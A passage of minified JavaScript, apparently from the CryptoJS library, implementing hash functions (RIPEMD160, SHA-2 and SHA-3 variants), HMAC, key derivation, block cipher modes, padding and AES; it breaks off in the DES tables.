h.Hasher, u = c.algo, d = l.create([0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 7, 4, 13, 1, 10, 6, 15, 3, 12, 0, 9, 5, 2, 14, 11, 8, 3, 10, 14, 4, 9, 15, 8, 1, 2, 7, 0, 6, 13, 11, 5, 12, 1, 9, 11, 10, 0, 8, 12, 4, 13, 3, 7, 15, 14, 5, 6, 2, 4, 0, 5, 9, 7, 12, 2, 10, 14, 1, 3, 8, 11, 6, 15, 13]), v = l.create([5, 14, 7, 0, 9, 2, 11, 4, 13, 6, 15, 8, 1, 10, 3, 12, 6, 11, 3, 7, 0, 13, 5, 10, 14, 15, 8, 12, 4, 9, 1, 2, 15, 5, 1, 3, 7, 14, 6, 9, 11, 8, 12, 2, 10, 0, 4, 13, 8, 6, 4, 1, 3, 11, 15, 0, 5, 12, 2, 13, 9, 7, 10, 14, 12, 15, 10, 4, 1, 5, 8, 7, 6, 2, 13, 14, 0, 3, 9, 11]), p = l.create([11, 14, 15, 12, 5, 8, 7, 9, 11, 13, 14, 15, 6, 7, 9, 8, 7, 6, 8, 13, 11, 9, 7, 15, 7, 12, 15, 9, 11, 7, 13, 12, 11, 13, 6, 7, 14, 9, 13, 15, 14, 8, 13, 6, 5, 12, 7, 5, 11, 12, 14, 15, 14, 15, 9, 8, 9, 14, 5, 6, 8, 6, 5, 12, 9, 15, 5, 11, 6, 8, 13, 12, 5, 12, 13, 14, 11, 8, 5, 6]), _ = l.create([8, 9, 9, 11, 13, 15, 15, 5, 7, 7, 8, 11, 14, 14, 12, 6, 9, 13, 15, 7, 12, 8, 9, 11, 7, 7, 12, 7, 6, 15, 13, 11, 9, 7, 15, 11, 8, 6, 6, 14, 12, 13, 5, 14, 13, 13, 7, 5, 15, 5, 8, 11, 14, 14, 6, 14, 6, 9, 12, 9, 12, 5, 15, 8, 8, 5, 12, 9, 12, 5, 14, 6, 8, 13, 6, 5, 15, 13, 11, 11]), y = l.create([0, 1518500249, 1859775393, 2400959708, 2840853838]), g = l.create([1352829926, 1548603684, 1836072691, 2053994217, 0]), B = u.RIPEMD160 = f.extend({ _doReset: function () { this._hash = l.create([1732584193, 4023233417, 2562383102, 271733878, 3285377520]) }, _doProcessBlock: function (t, r) { for (var c = 0; c < 16; c++) { var h = r + c, l = t[h]; t[h] = 16711935 & (l << 8 | l >>> 24) | 4278255360 & (l << 24 | l >>> 8) } var f, u, B, w, k, S, m, x, b, H, z = this._hash.words, A = y.words, C = g.words, D = d.words, R = v.words, E = p.words, M = _.words; S = f = z[0], m = u = z[1], x = B = z[2], b = w = z[3], H = k = z[4]; for (var F, c = 0; c < 80; c += 1)F = f + t[r + D[c]] | 0, F += c < 16 ? e(u, B, w) + A[0] : c < 32 ? i(u, B, w) + A[1] : c < 48 ? n(u, B, w) + A[2] : c < 64 ? o(u, B, w) + A[3] : s(u, B, w) + A[4], F |= 0, F = a(F, E[c]), F = F + k | 0, f = k, k = w, w = a(B, 10), B = u, u = F, F = S + t[r + R[c]] | 0, F += c < 16 ? s(m, x, b) + C[0] : c < 32 ? o(m, x, b) + C[1] : c < 48 ? n(m, x, b) + C[2] : c < 64 ? i(m, x, b) + C[3] : e(m, x, b) + C[4], F |= 0, F = a(F, M[c]), F = F + H | 0, S = H, H = b, b = a(x, 10), x = m, m = F; F = z[1] + B + b | 0, z[1] = z[2] + w + H | 0, z[2] = z[3] + k + S | 0, z[3] = z[4] + f + m | 0, z[4] = z[0] + u + x | 0, z[0] = F }, _doFinalize: function () { var t = this._data, r = t.words, e = 8 * this._nDataBytes, i = 8 * t.sigBytes; r[i >>> 5] |= 128 << 24 - i % 32, r[(i + 64 >>> 9 << 4) + 14] = 16711935 & (e << 8 | e >>> 24) | 4278255360 & (e << 24 | e >>> 8), t.sigBytes = 4 * (r.length + 1), this._process(); for (var n = this._hash, o = n.words, s = 0; s < 5; s++) { var a = o[s]; o[s] = 16711935 & (a << 8 | a >>> 24) | 4278255360 & (a << 24 | a >>> 8) } return n }, clone: function () { var t = f.clone.call(this); return t._hash = this._hash.clone(), t } }); c.RIPEMD160 = f._createHelper(B), c.HmacRIPEMD160 = f._createHmacHelper(B) }(Math), function () { var r = t, e = r.lib, i = e.Base, n = r.enc, o = n.Utf8, s = r.algo; s.HMAC = i.extend({ init: function (t, r) { t = this._hasher = new t.init, "string" == typeof r && (r = o.parse(r)); var e = t.blockSize, i = 4 * e; r.sigBytes > i && (r = t.finalize(r)), r.clamp(); for (var n = this._oKey = r.clone(), s = this._iKey = r.clone(), a = n.words, c = s.words, h = 0; h < e; h++)a[h] ^= 1549556828, c[h] ^= 909522486; n.sigBytes = s.sigBytes = i, this.reset() }, reset: function () { var t = this._hasher; t.reset(), t.update(this._iKey) }, update: function (t) { return this._hasher.update(t), this }, finalize: function (t) { var r = this._hasher, e = r.finalize(t); r.reset(); var i = r.finalize(this._oKey.clone().concat(e)); return i } }) }(), function () { var r = t, e = r.lib, i = e.Base, n = e.WordArray, o = r.algo, s = o.SHA1, a = o.HMAC, c = o.PBKDF2 = i.extend({ cfg: i.extend({ keySize: 4, hasher: s, iterations: 1 }), init: function (t) { this.cfg = this.cfg.extend(t) }, compute: function (t, r) { for (var e = this.cfg, i = a.create(e.hasher, t), o = n.create(), s = n.create([1]), c = o.words, h = s.words, l = e.keySize, f = e.iterations; c.length < l;) { var u = i.update(r).finalize(s); i.reset(); for (var d = u.words, v = d.length, p = u, _ = 1; _ < f; _++) { p = i.finalize(p), i.reset(); for (var y = p.words, g = 0; g < v; g++)d[g] ^= y[g] } o.concat(u), h[0]++ } return o.sigBytes = 4 * l, o } }); r.PBKDF2 = function (t, r, e) { return c.create(e).compute(t, r) } }(), function () { var r = t, e = r.lib, i = e.Base, n = e.WordArray, o = r.algo, s = o.MD5, a = o.EvpKDF = i.extend({ cfg: i.extend({ keySize: 4, hasher: s, iterations: 1 }), init: function (t) { this.cfg = this.cfg.extend(t) }, compute: function (t, r) { for (var e = this.cfg, i = e.hasher.create(), o = n.create(), s = o.words, a = e.keySize, c = e.iterations; s.length < a;) { h && i.update(h); var h = i.update(t).finalize(r); i.reset(); for (var l = 1; l < c; l++)h = i.finalize(h), i.reset(); o.concat(h) } return o.sigBytes = 4 * a, o } }); r.EvpKDF = function (t, r, e) { return a.create(e).compute(t, r) } }(), function () { var r = t, e = r.lib, i = e.WordArray, n = r.algo, o = n.SHA256, s = n.SHA224 = o.extend({ _doReset: function () { this._hash = new i.init([3238371032, 914150663, 812702999, 4144912697, 4290775857, 1750603025, 1694076839, 3204075428]) }, _doFinalize: function () { var t = o._doFinalize.call(this); return t.sigBytes -= 4, t } }); r.SHA224 = o._createHelper(s), r.HmacSHA224 = o._createHmacHelper(s) }(), function (r) { var e = t, i = e.lib, n = i.Base, o = i.WordArray, s = e.x64 = {}; s.Word = n.extend({ init: function (t, r) { this.high = t, this.low = r } }), s.WordArray = n.extend({ init: function (t, e) { t = this.words = t || [], e != r ? this.sigBytes = e : this.sigBytes = 8 * t.length }, toX32: function () { for (var t = this.words, r = t.length, e = [], i = 0; i < r; i++) { var n = t[i]; e.push(n.high), e.push(n.low) } return o.create(e, this.sigBytes) }, clone: function () { for (var t = n.clone.call(this), r = t.words = this.words.slice(0), e = r.length, i = 0; i < e; i++)r[i] = r[i].clone(); return t } }) }(), function (r) { var e = t, i = e.lib, n = i.WordArray, o = i.Hasher, s = e.x64, a = s.Word, c = e.algo, h = [], l = [], f = []; !function () { for (var t = 1, r = 0, e = 0; e < 24; e++) { h[t + 5 * r] = (e + 1) * (e + 2) / 2 % 64; var i = r % 5, n = (2 * t + 3 * r) % 5; t = i, r = n } for (var t = 0; t < 5; t++)for (var r = 0; r < 5; r++)l[t + 5 * r] = r + (2 * t + 3 * r) % 5 * 5; for (var o = 1, s = 0; s < 24; s++) { for (var c = 0, u = 0, d = 0; d < 7; d++) { if (1 & o) { var v = (1 << d) - 1; v < 32 ? u ^= 1 << v : c ^= 1 << v - 32 } 128 & o ? o = o << 1 ^ 113 : o <<= 1 } f[s] = a.create(c, u) } }(); var u = []; !function () { for (var t = 0; t < 25; t++)u[t] = a.create() }(); var d = c.SHA3 = o.extend({ cfg: o.cfg.extend({ outputLength: 512 }), _doReset: function () { for (var t = this._state = [], r = 0; r < 25; r++)t[r] = new a.init; this.blockSize = (1600 - 2 * this.cfg.outputLength) / 32 }, _doProcessBlock: function (t, r) { for (var e = this._state, i = this.blockSize / 2, n = 0; n < i; n++) { var o = t[r + 2 * n], s = t[r + 2 * n + 1]; o = 16711935 & (o << 8 | o >>> 24) | 4278255360 & (o << 24 | o >>> 8), s = 16711935 & (s << 8 | s >>> 24) | 4278255360 & (s << 24 | s >>> 8); var a = e[n]; a.high ^= s, a.low ^= o } for (var c = 0; c < 24; c++) { for (var d = 0; d < 5; d++) { for (var v = 0, p = 0, _ = 0; _ < 5; _++) { var a = e[d + 5 * _]; v ^= a.high, p ^= a.low } var y = u[d]; y.high = v, y.low = p } for (var d = 0; d < 5; d++)for (var g = u[(d + 4) % 5], B = u[(d + 1) % 5], w = B.high, k = B.low, v = g.high ^ (w << 1 | k >>> 31), p = g.low ^ (k << 1 | w >>> 31), _ = 0; _ < 5; _++) { var a = e[d + 5 * _]; a.high ^= v, a.low ^= p } for (var S = 1; S < 25; S++) { var a = e[S], m = a.high, x = a.low, b = h[S]; if (b < 32) var v = m << b | x >>> 32 - b, p = x << b | m >>> 32 - b; else var v = x << b - 32 | m >>> 64 - b, p = m << b - 32 | x >>> 64 - b; var H = u[l[S]]; H.high = v, H.low = p } var z = u[0], A = e[0]; z.high = A.high, z.low = A.low; for (var d = 0; d < 5; d++)for (var _ = 0; _ < 5; _++) { var S = d + 5 * _, a = e[S], C = u[S], D = u[(d + 1) % 5 + 5 * _], R = u[(d + 2) % 5 + 5 * _]; a.high = C.high ^ ~D.high & R.high, a.low = C.low ^ ~D.low & R.low } var a = e[0], E = f[c]; a.high ^= E.high, a.low ^= E.low } }, _doFinalize: function () { var t = this._data, e = t.words, i = (8 * this._nDataBytes, 8 * t.sigBytes), o = 32 * this.blockSize; e[i >>> 5] |= 1 << 24 - i % 32, e[(r.ceil((i + 1) / o) * o >>> 5) - 1] |= 128, t.sigBytes = 4 * e.length, this._process(); for (var s = this._state, a = this.cfg.outputLength / 8, c = a / 8, h = [], l = 0; l < c; l++) { var f = s[l], u = f.high, d = f.low; u = 16711935 & (u << 8 | u >>> 24) | 4278255360 & (u << 24 | u >>> 8), d = 16711935 & (d << 8 | d >>> 24) | 4278255360 & (d << 24 | d >>> 8), h.push(d), h.push(u) } return new n.init(h, a) }, clone: function () { for (var t = o.clone.call(this), r = t._state = this._state.slice(0), e = 0; e < 25; e++)r[e] = r[e].clone(); return t } }); e.SHA3 = o._createHelper(d), e.HmacSHA3 = o._createHmacHelper(d) }(Math), function () { function r() { return s.create.apply(s, arguments) } var e = t, i = e.lib, n = i.Hasher, o = e.x64, s = o.Word, a = o.WordArray, c = e.algo, h = [r(1116352408, 3609767458), r(1899447441, 602891725), r(3049323471, 3964484399), r(3921009573, 2173295548), r(961987163, 4081628472), r(1508970993, 3053834265), r(2453635748, 2937671579), r(2870763221, 3664609560), r(3624381080, 2734883394), r(310598401, 1164996542), r(607225278, 1323610764), r(1426881987, 3590304994), r(1925078388, 4068182383), r(2162078206, 991336113), r(2614888103, 633803317), r(3248222580, 3479774868), r(3835390401, 2666613458), r(4022224774, 944711139), r(264347078, 2341262773), r(604807628, 2007800933), r(770255983, 1495990901), r(1249150122, 1856431235), r(1555081692, 3175218132), r(1996064986, 2198950837), r(2554220882, 3999719339), r(2821834349, 766784016), r(2952996808, 2566594879), r(3210313671, 3203337956), r(3336571891, 1034457026), r(3584528711, 2466948901), r(113926993, 3758326383), r(338241895, 168717936), r(666307205, 1188179964), r(773529912, 1546045734), r(1294757372, 1522805485), r(1396182291, 2643833823), r(1695183700, 2343527390), r(1986661051, 1014477480), r(2177026350, 1206759142), r(2456956037, 344077627), r(2730485921, 1290863460), r(2820302411, 3158454273), r(3259730800, 3505952657), r(3345764771, 106217008), r(3516065817, 3606008344), r(3600352804, 1432725776), r(4094571909, 1467031594), r(275423344, 851169720), r(430227734, 3100823752), r(506948616, 1363258195), r(659060556, 3750685593), r(883997877, 3785050280), r(958139571, 3318307427), r(1322822218, 3812723403), r(1537002063, 2003034995), r(1747873779, 3602036899), r(1955562222, 1575990012), r(2024104815, 1125592928), r(2227730452, 2716904306), r(2361852424, 442776044), r(2428436474, 593698344), r(2756734187, 3733110249), r(3204031479, 2999351573), r(3329325298, 3815920427), r(3391569614, 3928383900), r(3515267271, 566280711), r(3940187606, 3454069534), r(4118630271, 4000239992), r(116418474, 1914138554), r(174292421, 2731055270), r(289380356, 3203993006), r(460393269, 320620315), r(685471733, 587496836), r(852142971, 1086792851), r(1017036298, 365543100), r(1126000580, 2618297676), r(1288033470, 3409855158), r(1501505948, 4234509866), r(1607167915, 987167468), r(1816402316, 1246189591)], l = []; !function () { for (var t = 0; t < 80; t++)l[t] = r() }(); var f = c.SHA512 = n.extend({ _doReset: function () { this._hash = new a.init([new s.init(1779033703, 4089235720), new s.init(3144134277, 2227873595), new s.init(1013904242, 4271175723), new s.init(2773480762, 1595750129), new s.init(1359893119, 2917565137), new s.init(2600822924, 725511199), new s.init(528734635, 4215389547), new s.init(1541459225, 327033209)]) }, _doProcessBlock: function (t, r) { for (var e = this._hash.words, i = e[0], n = e[1], o = e[2], s = e[3], a = e[4], c = e[5], f = e[6], u = e[7], d = i.high, v = i.low, p = n.high, _ = n.low, y = o.high, g = o.low, B = s.high, w = s.low, k = a.high, S = a.low, m = c.high, x = c.low, b = f.high, H = f.low, z = u.high, A = u.low, C = d, D = v, R = p, E = _, M = y, F = g, P = B, W = w, O = k, U = S, I = m, K = x, X = b, L = H, j = z, N = A, T = 0; T < 80; T++) { var Z = l[T]; if (T < 16) var q = Z.high = 0 | t[r + 2 * T], G = Z.low = 0 | t[r + 2 * T + 1]; else { var J = l[T - 15], $ = J.high, Q = J.low, V = ($ >>> 1 | Q << 31) ^ ($ >>> 8 | Q << 24) ^ $ >>> 7, Y = (Q >>> 1 | $ << 31) ^ (Q >>> 8 | $ << 24) ^ (Q >>> 7 | $ << 25), tt = l[T - 2], rt = tt.high, et = tt.low, it = (rt >>> 19 | et << 13) ^ (rt << 3 | et >>> 29) ^ rt >>> 6, nt = (et >>> 19 | rt << 13) ^ (et << 3 | rt >>> 29) ^ (et >>> 6 | rt << 26), ot = l[T - 7], st = ot.high, at = ot.low, ct = l[T - 16], ht = ct.high, lt = ct.low, G = Y + at, q = V + st + (G >>> 0 < Y >>> 0 ? 1 : 0), G = G + nt, q = q + it + (G >>> 0 < nt >>> 0 ? 1 : 0), G = G + lt, q = q + ht + (G >>> 0 < lt >>> 0 ? 1 : 0); Z.high = q, Z.low = G } var ft = O & I ^ ~O & X, ut = U & K ^ ~U & L, dt = C & R ^ C & M ^ R & M, vt = D & E ^ D & F ^ E & F, pt = (C >>> 28 | D << 4) ^ (C << 30 | D >>> 2) ^ (C << 25 | D >>> 7), _t = (D >>> 28 | C << 4) ^ (D << 30 | C >>> 2) ^ (D << 25 | C >>> 7), yt = (O >>> 14 | U << 18) ^ (O >>> 18 | U << 14) ^ (O << 23 | U >>> 9), gt = (U >>> 14 | O << 18) ^ (U >>> 18 | O << 14) ^ (U << 23 | O >>> 9), Bt = h[T], wt = Bt.high, kt = Bt.low, St = N + gt, mt = j + yt + (St >>> 0 < N >>> 0 ? 1 : 0), St = St + ut, mt = mt + ft + (St >>> 0 < ut >>> 0 ? 1 : 0), St = St + kt, mt = mt + wt + (St >>> 0 < kt >>> 0 ? 1 : 0), St = St + G, mt = mt + q + (St >>> 0 < G >>> 0 ? 1 : 0), xt = _t + vt, bt = pt + dt + (xt >>> 0 < _t >>> 0 ? 1 : 0); j = X, N = L, X = I, L = K, I = O, K = U, U = W + St | 0, O = P + mt + (U >>> 0 < W >>> 0 ? 1 : 0) | 0, P = M, W = F, M = R, F = E, R = C, E = D, D = St + xt | 0, C = mt + bt + (D >>> 0 < St >>> 0 ? 1 : 0) | 0 } v = i.low = v + D, i.high = d + C + (v >>> 0 < D >>> 0 ? 1 : 0), _ = n.low = _ + E, n.high = p + R + (_ >>> 0 < E >>> 0 ? 1 : 0), g = o.low = g + F, o.high = y + M + (g >>> 0 < F >>> 0 ? 1 : 0), w = s.low = w + W, s.high = B + P + (w >>> 0 < W >>> 0 ? 1 : 0), S = a.low = S + U, a.high = k + O + (S >>> 0 < U >>> 0 ? 1 : 0), x = c.low = x + K, c.high = m + I + (x >>> 0 < K >>> 0 ? 1 : 0), H = f.low = H + L, f.high = b + X + (H >>> 0 < L >>> 0 ? 1 : 0), A = u.low = A + N, u.high = z + j + (A >>> 0 < N >>> 0 ? 1 : 0) }, _doFinalize: function () { var t = this._data, r = t.words, e = 8 * this._nDataBytes, i = 8 * t.sigBytes; r[i >>> 5] |= 128 << 24 - i % 32, r[(i + 128 >>> 10 << 5) + 30] = Math.floor(e / 4294967296), r[(i + 128 >>> 10 << 5) + 31] = e, t.sigBytes = 4 * r.length, this._process(); var n = this._hash.toX32(); return n }, clone: function () { var t = n.clone.call(this); return t._hash = this._hash.clone(), t }, blockSize: 32 }); e.SHA512 = n._createHelper(f), e.HmacSHA512 = n._createHmacHelper(f) }(), function () { var r = t, e = r.x64, i = e.Word, n = e.WordArray, o = r.algo, s = o.SHA512, a = o.SHA384 = s.extend({ _doReset: function () { this._hash = new n.init([new i.init(3418070365, 3238371032), new i.init(1654270250, 914150663), new i.init(2438529370, 812702999), new i.init(355462360, 4144912697), new i.init(1731405415, 4290775857), new i.init(2394180231, 1750603025), new i.init(3675008525, 1694076839), new i.init(1203062813, 3204075428)]) }, _doFinalize: function () { var t = s._doFinalize.call(this); return t.sigBytes -= 16, t } }); r.SHA384 = s._createHelper(a), r.HmacSHA384 = s._createHmacHelper(a) }(), t.lib.Cipher || function (r) { var e = t, i = e.lib, n = i.Base, o = i.WordArray, s = i.BufferedBlockAlgorithm, a = e.enc, c = (a.Utf8, a.Base64), h = e.algo, l = h.EvpKDF, f = i.Cipher = s.extend({ cfg: n.extend(), createEncryptor: function (t, r) { return this.create(this._ENC_XFORM_MODE, t, r) }, createDecryptor: function (t, r) { return this.create(this._DEC_XFORM_MODE, t, r) }, init: function (t, r, e) { this.cfg = this.cfg.extend(e), this._xformMode = t, this._key = r, this.reset() }, reset: function () { s.reset.call(this), this._doReset() }, process: function (t) { return this._append(t), this._process() }, finalize: function (t) { t && this._append(t); var r = this._doFinalize(); return r }, keySize: 4, ivSize: 4, _ENC_XFORM_MODE: 1, _DEC_XFORM_MODE: 2, _createHelper: function () { function t(t) { return "string" == typeof t ? m : w } return function (r) { return { encrypt: function (e, i, n) { return t(i).encrypt(r, e, i, n) }, decrypt: function (e, i, n) { return t(i).decrypt(r, e, i, n) } } } }() }), u = (i.StreamCipher = f.extend({ _doFinalize: function () { var t = this._process(!0); return t }, blockSize: 1 }), e.mode = {}), d = i.BlockCipherMode = n.extend({ createEncryptor: function (t, r) { return this.Encryptor.create(t, r) }, createDecryptor: function (t, r) { return this.Decryptor.create(t, r) }, init: function (t, r) { this._cipher = t, this._iv = r } }), v = u.CBC = function () { function t(t, e, i) { var n = this._iv; if (n) { var o = n; this._iv = r } else var o = this._prevBlock; for (var s = 0; s < i; s++)t[e + s] ^= o[s] } var e = d.extend(); return e.Encryptor = e.extend({ processBlock: function (r, e) { var i = this._cipher, n = i.blockSize; t.call(this, r, e, n), i.encryptBlock(r, e), this._prevBlock = r.slice(e, e + n) } }), e.Decryptor = e.extend({ processBlock: function (r, e) { var i = this._cipher, n = i.blockSize, o = r.slice(e, e + n); i.decryptBlock(r, e), t.call(this, r, e, n), this._prevBlock = o } }), e }(), p = e.pad = {}, _ = p.Pkcs7 = { pad: function (t, r) { for (var e = 4 * r, i = e - t.sigBytes % e, n = i << 24 | i << 16 | i << 8 | i, s = [], a = 0; a < i; a += 4)s.push(n); var c = o.create(s, i); t.concat(c) }, unpad: function (t) { var r = 255 & t.words[t.sigBytes - 1 >>> 2]; t.sigBytes -= r } }, y = (i.BlockCipher = f.extend({ cfg: f.cfg.extend({ mode: v, padding: _ }), reset: function () { f.reset.call(this); var t = this.cfg, r = t.iv, e = t.mode; if (this._xformMode == this._ENC_XFORM_MODE) var i = e.createEncryptor; else { var i = e.createDecryptor; this._minBufferSize = 1 } this._mode && this._mode.__creator == i ? this._mode.init(this, r && r.words) : (this._mode = i.call(e, this, r && r.words), this._mode.__creator = i) }, _doProcessBlock: function (t, r) { this._mode.processBlock(t, r) }, _doFinalize: function () { var t = this.cfg.padding; if (this._xformMode == this._ENC_XFORM_MODE) { t.pad(this._data, this.blockSize); var r = this._process(!0) } else { var r = this._process(!0); t.unpad(r) } return r }, blockSize: 4 }), i.CipherParams = n.extend({ init: function (t) { this.mixIn(t) }, toString: function (t) { return (t || this.formatter).stringify(this) } })), g = e.format = {}, B = g.OpenSSL = { stringify: function (t) { var r = t.ciphertext, e = t.salt; if (e) var i = o.create([1398893684, 1701076831]).concat(e).concat(r); else var i = r; return i.toString(c) }, parse: function (t) { var r = c.parse(t), e = r.words; if (1398893684 == e[0] && 1701076831 == e[1]) { var i = o.create(e.slice(2, 4)); e.splice(0, 4), r.sigBytes -= 16 } return y.create({ ciphertext: r, salt: i }) } }, w = i.SerializableCipher = n.extend({ cfg: n.extend({ format: B }), encrypt: function (t, r, e, i) { i = this.cfg.extend(i); var n = t.createEncryptor(e, i), o = n.finalize(r), s = n.cfg; return y.create({ ciphertext: o, key: e, iv: s.iv, algorithm: t, mode: s.mode, padding: s.padding, blockSize: t.blockSize, formatter: i.format }) }, decrypt: function (t, r, e, i) { i = this.cfg.extend(i), r = this._parse(r, i.format); var n = t.createDecryptor(e, i).finalize(r.ciphertext); return n }, _parse: function (t, r) { return "string" == typeof t ? r.parse(t, this) : t } }), k = e.kdf = {}, S = k.OpenSSL = { execute: function (t, r, e, i) { i || (i = o.random(8)); var n = l.create({ keySize: r + e }).compute(t, i), s = o.create(n.words.slice(r), 4 * e); return n.sigBytes = 4 * r, y.create({ key: n, iv: s, salt: i }) } }, m = i.PasswordBasedCipher = w.extend({ cfg: w.cfg.extend({ kdf: S }), encrypt: function (t, r, e, i) { i = this.cfg.extend(i); var n = i.kdf.execute(e, t.keySize, t.ivSize); i.iv = n.iv; var o = w.encrypt.call(this, t, r, n.key, i); return o.mixIn(n), o }, decrypt: function (t, r, e, i) { i = this.cfg.extend(i), r = this._parse(r, i.format); var n = i.kdf.execute(e, t.keySize, t.ivSize, r.salt); i.iv = n.iv; var o = w.decrypt.call(this, t, r, n.key, i); return o } }) }(), t.mode.CFB = function () { function r(t, r, e, i) { var n = this._iv; if (n) { var o = n.slice(0); this._iv = void 0 } else var o = this._prevBlock; i.encryptBlock(o, 0); for (var s = 0; s < e; s++)t[r + s] ^= o[s] } var e = t.lib.BlockCipherMode.extend(); return e.Encryptor = e.extend({ processBlock: function (t, e) { var i = this._cipher, n = i.blockSize; r.call(this, t, e, n, i), this._prevBlock = t.slice(e, e + n) } }), e.Decryptor = e.extend({ processBlock: function (t, e) { var i = this._cipher, n = i.blockSize, o = t.slice(e, e + n); r.call(this, t, e, n, i), this._prevBlock = o } }), e }(), t.mode.ECB = function () { var r = t.lib.BlockCipherMode.extend(); return r.Encryptor = r.extend({ processBlock: function (t, r) { this._cipher.encryptBlock(t, r) } }), r.Decryptor = r.extend({ processBlock: function (t, r) { this._cipher.decryptBlock(t, r) } }), r }(), t.pad.AnsiX923 = { pad: function (t, r) { var e = t.sigBytes, i = 4 * r, n = i - e % i, o = e + n - 1; t.clamp(), t.words[o >>> 2] |= n << 24 - o % 4 * 8, t.sigBytes += n }, unpad: function (t) { var r = 255 & t.words[t.sigBytes - 1 >>> 2]; t.sigBytes -= r } }, t.pad.Iso10126 = { pad: function (r, e) { var i = 4 * e, n = i - r.sigBytes % i; r.concat(t.lib.WordArray.random(n - 1)).concat(t.lib.WordArray.create([n << 24], 1)) }, unpad: function (t) { var r = 255 & t.words[t.sigBytes - 1 >>> 2]; t.sigBytes -= r } }, t.pad.Iso97971 = { pad: function (r, e) { r.concat(t.lib.WordArray.create([2147483648], 1)), t.pad.ZeroPadding.pad(r, e) }, unpad: function (r) { t.pad.ZeroPadding.unpad(r), r.sigBytes-- } }, t.mode.OFB = function () { var r = t.lib.BlockCipherMode.extend(), e = r.Encryptor = r.extend({ processBlock: function (t, r) { var e = this._cipher, i = e.blockSize, n = this._iv, o = this._keystream; n && (o = this._keystream = n.slice(0), this._iv = void 0), e.encryptBlock(o, 0); for (var s = 0; s < i; s++)t[r + s] ^= o[s] } }); return r.Decryptor = e, r }(), t.pad.NoPadding = { pad: function () { }, unpad: function () { } }, function (r) { var e = t, i = e.lib, n = i.CipherParams, o = e.enc, s = o.Hex, a = e.format; a.Hex = { stringify: function (t) { return t.ciphertext.toString(s) }, parse: function (t) { var r = s.parse(t); return n.create({ ciphertext: r }) } } }(), function () { var r = t, e = r.lib, i = e.BlockCipher, n = r.algo, o = [], s = [], a = [], c = [], h = [], l = [], f = [], u = [], d = [], v = []; !function () { for (var t = [], r = 0; r < 256; r++)r < 128 ? t[r] = r << 1 : t[r] = r << 1 ^ 283; for (var e = 0, i = 0, r = 0; r < 256; r++) { var n = i ^ i << 1 ^ i << 2 ^ i << 3 ^ i << 4; n = n >>> 8 ^ 255 & n ^ 99, o[e] = n, s[n] = e; var p = t[e], _ = t[p], y = t[_], g = 257 * t[n] ^ 16843008 * n; a[e] = g << 24 | g >>> 8, c[e] = g << 16 | g >>> 16, h[e] = g << 8 | g >>> 24, l[e] = g; var g = 16843009 * y ^ 65537 * _ ^ 257 * p ^ 16843008 * e; f[n] = g << 24 | g >>> 8, u[n] = g << 16 | g >>> 16, d[n] = g << 8 | g >>> 24, v[n] = g, e ? (e = p ^ t[t[t[y ^ p]]], i ^= t[t[i]]) : e = i = 1 } }(); var p = [0, 1, 2, 4, 8, 16, 32, 64, 128, 27, 54], _ = n.AES = i.extend({ _doReset: function () { if (!this._nRounds || this._keyPriorReset !== this._key) { for (var t = this._keyPriorReset = this._key, r = t.words, e = t.sigBytes / 4, i = this._nRounds = e + 6, n = 4 * (i + 1), s = this._keySchedule = [], a = 0; a < n; a++)if (a < e) s[a] = r[a]; else { var c = s[a - 1]; a % e ? e > 6 && a % e == 4 && (c = o[c >>> 24] << 24 | o[c >>> 16 & 255] << 16 | o[c >>> 8 & 255] << 8 | o[255 & c]) : (c = c << 8 | c >>> 24, c = o[c >>> 24] << 24 | o[c >>> 16 & 255] << 16 | o[c >>> 8 & 255] << 8 | o[255 & c], c ^= p[a / e | 0] << 24), s[a] = s[a - e] ^ c } for (var h = this._invKeySchedule = [], l = 0; l < n; l++) { var a = n - l; if (l % 4) var c = s[a]; else var c = s[a - 4]; l < 4 || a <= 4 ? h[l] = c : h[l] = f[o[c >>> 24]] ^ u[o[c >>> 16 & 255]] ^ d[o[c >>> 8 & 255]] ^ v[o[255 & c]] } } }, encryptBlock: function (t, r) { this._doCryptBlock(t, r, this._keySchedule, a, c, h, l, o) }, decryptBlock: function (t, r) { var e = t[r + 1]; t[r + 1] = t[r + 3], t[r + 3] = e, this._doCryptBlock(t, r, this._invKeySchedule, f, u, d, v, s); var e = t[r + 1]; t[r + 1] = t[r + 3], t[r + 3] = e }, _doCryptBlock: function (t, r, e, i, n, o, s, a) { for (var c = this._nRounds, h = t[r] ^ e[0], l = t[r + 1] ^ e[1], f = t[r + 2] ^ e[2], u = t[r + 3] ^ e[3], d = 4, v = 1; v < c; v++) { var p = i[h >>> 24] ^ n[l >>> 16 & 255] ^ o[f >>> 8 & 255] ^ s[255 & u] ^ e[d++], _ = i[l >>> 24] ^ n[f >>> 16 & 255] ^ o[u >>> 8 & 255] ^ s[255 & h] ^ e[d++], y = i[f >>> 24] ^ n[u >>> 16 & 255] ^ o[h >>> 8 & 255] ^ s[255 & l] ^ e[d++], g = i[u >>> 24] ^ n[h >>> 16 & 255] ^ o[l >>> 8 & 255] ^ s[255 & f] ^ e[d++]; h = p, l = _, f = y, u = g } var p = (a[h >>> 24] << 24 | a[l >>> 16 & 255] << 16 | a[f >>> 8 & 255] << 8 | a[255 & u]) ^ e[d++], _ = (a[l >>> 24] << 24 | a[f >>> 16 & 255] << 16 | a[u >>> 8 & 255] << 8 | a[255 & h]) ^ e[d++], y = (a[f >>> 24] << 24 | a[u >>> 16 & 255] << 16 | a[h >>> 8 & 255] << 8 | a[255 & l]) ^ e[d++], g = (a[u >>> 24] << 24 | a[h >>> 16 & 255] << 16 | a[l >>> 8 & 255] << 8 | a[255 & f]) ^ e[d++]; t[r] = p, t[r + 1] = _, t[r + 2] = y, t[r + 3] = g }, keySize: 8 }); r.AES = i._createHelper(_) }(), function () { + function r(t, r) { var e = (this._lBlock >>> t ^ this._rBlock) & r; this._rBlock ^= e, this._lBlock ^= e << t } function e(t, r) { + var e = (this._rBlock >>> t ^ this._lBlock) & r; this._lBlock ^= e, this._rBlock ^= e << t; + } var i = t, n = i.lib, o = n.WordArray, s = n.BlockCipher, a = i.algo, c = [57, 49, 41, 33, 25, 17, 9, 1, 58, 50, 42, 34, 26, 18, 10, 2, 59, 51, 43, 35, 27, 19, 11, 3, 60, 52, 44, 36, 63, 55, 47, 39, 31, 23, 15, 7, 62, 54, 46, 38, 30, 22, 14, 6, 61, 53, 45, 37, 29, 21, 13, 5, 28, 20, 12, 4], h = [14, 17, 11, 24, 1, 5, 3, 28, 15, 6, 21, 10, 23, 19, 12, 4, 26, 8, 16, 7, 27, 20, 13, 2, 41, 52, 31, 37, 47, 55, 